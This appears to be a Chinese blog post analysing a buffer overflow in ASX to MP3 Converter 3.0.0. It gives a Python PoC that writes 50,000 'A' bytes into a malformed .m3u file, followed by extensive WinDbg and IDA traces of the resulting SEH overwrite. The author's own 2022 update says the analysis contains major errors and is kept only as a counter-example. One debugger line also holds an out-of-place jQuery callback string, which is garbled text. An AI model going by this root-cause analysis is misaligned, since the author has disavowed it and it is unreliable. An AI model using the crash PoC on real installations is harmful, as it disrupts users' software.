作者:k0shl 转载请注明出处
漏洞说明
软件下载地址:
https://www.exploit-db.com/apps/b31a84e79d9941d89336b6708ef52a20-ASXtoMP3Converter_3121.exe
PoC:
poc = "\x41" * 50000
rst = open("exploit.m3u",'w')
rst.write(poc)
rst.close();
测试环境:
Asx to MP3 Converter 3.0.0
Windows xp sp3
Windbg
IDA pro
利用PoC生成一个畸形m3u文件,播放器打开文件,程序崩溃
漏洞分析
2022-10-18update:原分析文章存在较大错误,正确的分析请参考https://bbs.pediy.com/thread-274763.htm,我这篇错误的分析我作为反面教材仍然保留在下文,读者感兴趣可以通过两篇文章对比发现初学二进制时可能发生的一些误区,再次感谢大家,同时对我错误的分析表示道歉。
此漏洞存在于ASX to MP3主程序中,对打开的文件内容没有进行严格的检查,导致程序返回时指向了一个不可读的地址,从而进入SEH异常处理函数,再利用超长字符串覆盖SEH指针,达到本地执行任意代码的攻击效果,下面对此漏洞进行详细分析。
使用如下python代码生成漏洞文件
poc = "\x41" * 50000
rst = open("exploit.m3u",'w')
rst.write(poc)
rst.close();
加载POC,程序崩溃了,附加windbg,到达漏洞现场
0:010> g
(6d0.194): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00104a54 ecx=41414141 edx=00000461 esi=77c2fce0 edi=0000c350
eip=41414141 esp=000ffd34 ebp=00104674 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202
41414141 jQuery21407279322387184948_1448973072999 ???
使用kb查看一下堆栈调用
0:000> kb
ChildEBP RetAddr Args to Child
WARNING: Frame IP not in any known module. Following frames may be wrong.
000ffd30 41414141 41414141 41414141 41414141 0x41414141
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\WINDOWS\system32\USER32.dll -
001046bc 77d18bd9 00000001 00000000 00000000 0x41414141
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\WINDOWS\system32\MFC42.DLL -
001046d0 73dc840e 001047c8 77d4048f 77d18830 USER32!GetWindowThreadProcessId+0x159
001046e4 77d1882a 77d2a013 00000000 77d3e577 MFC42!Ordinal1569+0x1e
001046e8 77d2a013 00000000 77d3e577 000d02cc USER32!GetDC+0x163
00104718 77d2a998 77d3e577 000d02cc 00000200 USER32!IsWindowUnicode+0xa1
00104738 73d3216b 77d3e577 000d02cc 00000200 USER32!CallWindowProcA+0x1b
00104758 73d31bb2 00000200 00000000 73e0f99c MFC42!Ordinal2385+0x44
00104778 73d31fd3 009a0054 00104a54 00104a54 MFC42!Ordinal6374+0x3b
001047ac 73dc82b0 00000003 00104888 000d02cc MFC42!Ordinal5163+0x411
00000000 00000000 00000000 00000000 00000000 MFC42!Ordinal3030+0x3b
发现可见的堆栈调用全是系统dll的调用,那么我们无法回溯漏洞发生前的关键函数,我们想办法从poc入手,该poc是一个文件格式的poc,那么在主程序中很有可能会通过fopen调用这个poc打开,以读取其中的文件从而触发文件格式的漏洞。
于是我们想办法通过fopen函数来定位到漏洞发生前的函数,通过ida pro打开主程序,通过字符串搜索找到fopen函数调用的几处位置
第一处
.text:0041C957 push offset aRb ; "rb"
.text:0041C95C push ebp ; Filename
.text:0041C95D call ds:fopen
第二处
.text:00429808 and ecx, 3
.text:0042980B push eax ; Filename
.text:0042980C rep movsb
.text:0042980E call ds:fopen
第三处
.text:0042AD3C lea eax, [esp+338h+Filename]
.text:0042AD43 and ecx, 3
.text:0042AD46 push eax ; Filename
.text:0042AD47 rep movsb
.text:0042AD49 call ds:fopen
第四处
.text:0043561A push offset aRb ; "rb"
.text:0043561F push ebx ; Filename
.text:00435620 call ds:fopen
第五处
.text:00436849 push offset aRb ; "rb"
.text:0043684E push eax ; Filename
.text:0043684F call ds:fopen
一共找到五处调用,在这五处fopen调用下断点,重新附加windbg调试器
0:010> bl
0 e 0041c95d 0001 (0001) 0:**** ASX2MP3Converter+0x1c95d
1 e 0042980e 0001 (0001) 0:**** ASX2MP3Converter+0x2980e
2 e 0042ad49 0001 (0001) 0:**** ASX2MP3Converter+0x2ad49
3 e 00435620 0001 (0001) 0:**** ASX2MP3Converter+0x35620
4 e 0043684f 0001 (0001) 0:**** ASX2MP3Converter+0x3684f
运行程序加载POC,程序中断,我们直接运行程序
0:010> g
Breakpoint 0 hit
eax=00000000 ebx=00104a54 ecx=00449510 edx=000f2f3a esi=00000000 edi=004463b4
eip=0041c95d esp=000ffd2c ebp=00104674 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
ASX2MP3Converter+0x1c95d:
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\WINDOWS\system32\MSVCRT.dll -
0041c95d ff1524c74300 call dword ptr [ASX2MP3Converter+0x3c724 (0043c724)] ds:0023:0043c724={MSVCRT!fopen (77c0f010)}
0:000> g
Breakpoint 4 hit
eax=000f7414 ebx=00104a54 ecx=00449510 edx=000f7414 esi=001046ad edi=004463b4
eip=0043684f esp=000f73e0 ebp=00104674 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
ASX2MP3Converter+0x3684f:
0043684f ff1524c74300 call dword ptr [ASX2MP3Converter+0x3c724 (0043c724)] ds:0023:0043c724={MSVCRT!fopen (77c0f010)}
0:000> g
(480.160): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00104a54 ecx=41414141 edx=00000461 esi=77c2fce0 edi=0000c350
eip=41414141 esp=000ffd34 ebp=00104674 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202
41414141 ?? ???
可以看到,经过了两次fopen调用后到达漏洞触发现场,我们可以重新加载程序看一看当调用fopen时是否调用了漏洞文件,首先我们来看第一次fopen调用,通过上面的汇编代码我们可以看到第一次调用时,读取了参数ebp中存放的参数,也就是文件路径,我们来具体看看是不是如此
0:010> g
Breakpoint 0 hit
eax=00000000 ebx=00104a54 ecx=00449510 edx=000f2f3a esi=00000000 edi=004463b4
eip=0041c95d esp=000ffd2c ebp=00104674 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
ASX2MP3Converter+0x1c95d:
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\WINDOWS\system32\MSVCRT.dll -
0041c95d ff1524c74300 call dword ptr [ASX2MP3Converter+0x3c724 (0043c724)] ds:0023:0043c724={MSVCRT!fopen (77c0f010)}
0:000> dd esp
000ffd2c 00104674 00446380 00000001 00000000
000ffd3c 009a0054 00104a54 00000000 00000000
000ffd4c 00000000 00000000 00000000 00000000
000ffd5c 00000000 00000000 00000000 00000000
000ffd6c 00000000 00000000 00000000 00000000
000ffd7c 00000000 00000000 00000000 00000000
000ffd8c 00000000 00000000 00000000 00000000
000ffd9c 00000000 00000000 00000000 00000000
0:000> dc 00104674 l30
00104674 445c3a43 6d75636f 73746e65 646e6120 C:\Documents and
00104684 74655320 676e6974 64415c73 696e696d Settings\Admini
00104694 61727473 5c726f74 e6c3c0d7 7078655c strator\....\exp
001046a4 74696f6c 75336d2e 00000000 00000000 loit.m3u........
查看第一个参数,00104674位置,果然这里调用了文件打开的位置,那么我们看一下第二次文件调用
0:000> g
Breakpoint 1 hit
eax=000f7414 ebx=00104a54 ecx=00449510 edx=000f7414 esi=001046ad edi=004463b4
eip=0043684f esp=000f73e0 ebp=00104674 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
ASX2MP3Converter+0x3684f:
0043684f ff1524c74300 call dword ptr [ASX2MP3Converter+0x3c724 (0043c724)] ds:0023:0043c724={MSVCRT!fopen (77c0f010)}
0:000> dd esp
000f73e0 000f7414 00446380 0041f4dc 000f7414
000f73f0 0000c350 77c2fce0 00104674 00104a54
000f7400 00000000 00104a54 00000001 00000000
000f7410 00000000 445c3a43 6d75636f 73746e65
000f7420 646e6120 74655320 676e6974 64415c73
000f7430 696e696d 61727473 5c726f74 e6c3c0d7
000f7440 4141415c 41414141 41414141 41414141
000f7450 41414141 41414141 41414141 41414141
0:000> dc 000f7414
000f7414 445c3a43 6d75636f 73746e65 646e6120 C:\Documents and
000f7424 74655320 676e6974 64415c73 696e696d Settings\Admini
000f7434 61727473 5c726f74 e6c3c0d7 4141415c strator\....\AAA
000f7444 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
000f7454 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
000f7464 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
000f7474 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
000f7484 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
可以看到第二次调用时已经将畸形的文件格式读入到缓冲区中,而此时没有对文件的长度进行任何检查,而是直接读入缓冲区,到达这一步之后,我们单步跟踪,先查看一下这次调用附近的代码
.text:0043684F call ds:fopen
.text:00436855 add esp, 8
.text:00436858 test eax, eax
.text:0043685A jnz short loc_43685D
.text:0043685C retn
可以看到完成这次call指令后,程序会返回到外层函数,到达后单步执行调试
0:000> p
eax=00000000 ebx=00104a54 ecx=41414141 edx=00000461 esi=77c2fce0 edi=0000c350
eip=0041f3bb esp=000ffd2c ebp=00104674 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
ASX2MP3Converter+0x1f3bb:
0041f3bb c20400 ret 4
0:000> p
eax=00000000 ebx=00104a54 ecx=41414141 edx=00000461 esi=77c2fce0 edi=0000c350
eip=41414141 esp=000ffd34 ebp=00104674 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
41414141 ?? ???
当0041f3bb对应的函数执行完毕返回后,程序到达不可估计的位置,返回地址出错导致程序进入异常处理流程,而此时SEH指针已经被超长字符串覆盖,因此我们可以基本确定漏洞发生的原因,在第二次调用fopen时没有对Filname进行检查,而是直接读入缓冲区,再调用后续函数sub_41F270时,返回地址被覆盖,导致缓冲区溢出,我们来具体看一下这个问题函数,看看进入SEH前发生了什么,
0041f4dc 83c404 add esp,4
0041f4df 85c0 test eax,eax
0041f4e1 7560 jne ASX2MP3Converter+0x1f543 (0041f543)
0041f4e3 8d442424 lea eax,[esp+24h]
0041f4e7 50 push eax
可以看到程序返回的时候执行了如上步骤,在0041f4e3位置,将esp+24存放的值交给eax,再0041f4e7将eax入栈,我们来看看eax中存放的内容
0:000> dc eax l30
000f7414 445c3a43 6d75636f 73746e65 646e6120 C:\Documents and
000f7424 74655320 676e6974 64415c73 696e696d Settings\Admini
000f7434 61727473 5c726f74 e6c3c0d7 4141415c strator\....\AAA
000f7444 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
000f7454 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
000f7464 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
000f7474 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
000f7484 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
000f7494 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
000f74a4 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
000f74b4 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
可以看到eax读取的正是0043684f处第一个参数存放的值,在函数结尾处
eax=00000000 ebx=00126392 ecx=0038f2e4 edx=00000461 esi=00000001 edi=0038cfd8
eip=0041f3a3 esp=000f73f0 ebp=00000000 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
ASX2MP3Converter+0x1f3a3:
0041f3a3 8b8c2430890000 mov ecx,dword ptr [esp+8930h] ss:0023:000ffd20=41414141
这里将esp+8930处的值交给ecx,再看看后面的代码
0041f3a3 8b8c2430890000 mov ecx,dword ptr [esp+8930h] ss:0023:000ffd20=41414141
0041f3aa 5f pop edi
0041f3ab 5e pop esi
0041f3ac 5d pop ebp
0041f3ad 5b pop ebx
0041f3ae 64890d00000000 mov dword ptr fs:[0],ecx
0041f3b5 81c42c890000 add esp,892Ch
0041f3bb c20400 ret 4
执行完毕后将几个寄存器出栈,在0041f3ae部分调用了一个mov指令,将ecx的值交出,在0041f3b5处将esp偏移增加892c,我们跟到此处
0:000> p
eax=00000000 ebx=00104a54 ecx=41414141 edx=00000461 esi=77c2fce0 edi=0000c350
eip=0041f3b5 esp=000f7400 ebp=00104674 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
ASX2MP3Converter+0x1f3b5:
0041f3b5 81c42c890000 add esp,892Ch
0:000> dc esp
000f7400 0038cfd8 00104a54 00000001 02610054 ..8.TJ......T.a.
000f7410 00000000 00000000 00000000 00000000 ................
000f7420 00000000 00000000 00000000 00000000 ................
000f7430 00000000 00000000 00000000 00000000 ................
000f7440 00000000 00000000 00000000 00000000 ................
000f7450 00000000 00000000 00000000 00000000 ................
000f7460 00000000 00000000 00000000 00000000 ................
000f7470 00000000 00000000 00000000 00000000 ................
0:000> p
eax=00000000 ebx=00104a54 ecx=41414141 edx=00000461 esi=77c2fce0 edi=0000c350
eip=0041f3bb esp=000ffd2c ebp=00104674 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
ASX2MP3Converter+0x1f3bb:
0041f3bb c20400 ret 4
0:000> dc esp
000ffd2c 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
000ffd3c 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
000ffd4c 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
000ffd5c 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
000ffd6c 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
000ffd7c 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
000ffd8c 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
可以看到执行完之后esp的值已经被超长字符串覆盖了,当ret 4时返回esp的位置就已经是41414141这个不可读的地址了。
因此,此漏洞流程可以总结为:由于对于filename的长度检查不严格,导致直接作为参数回调到外层函数中,因此当外层函数结束时,程序返回到一个不可读的地址,从而触发了异常处理流程,因为文件畸形内容,导致了SEH指针被覆盖,程序可控。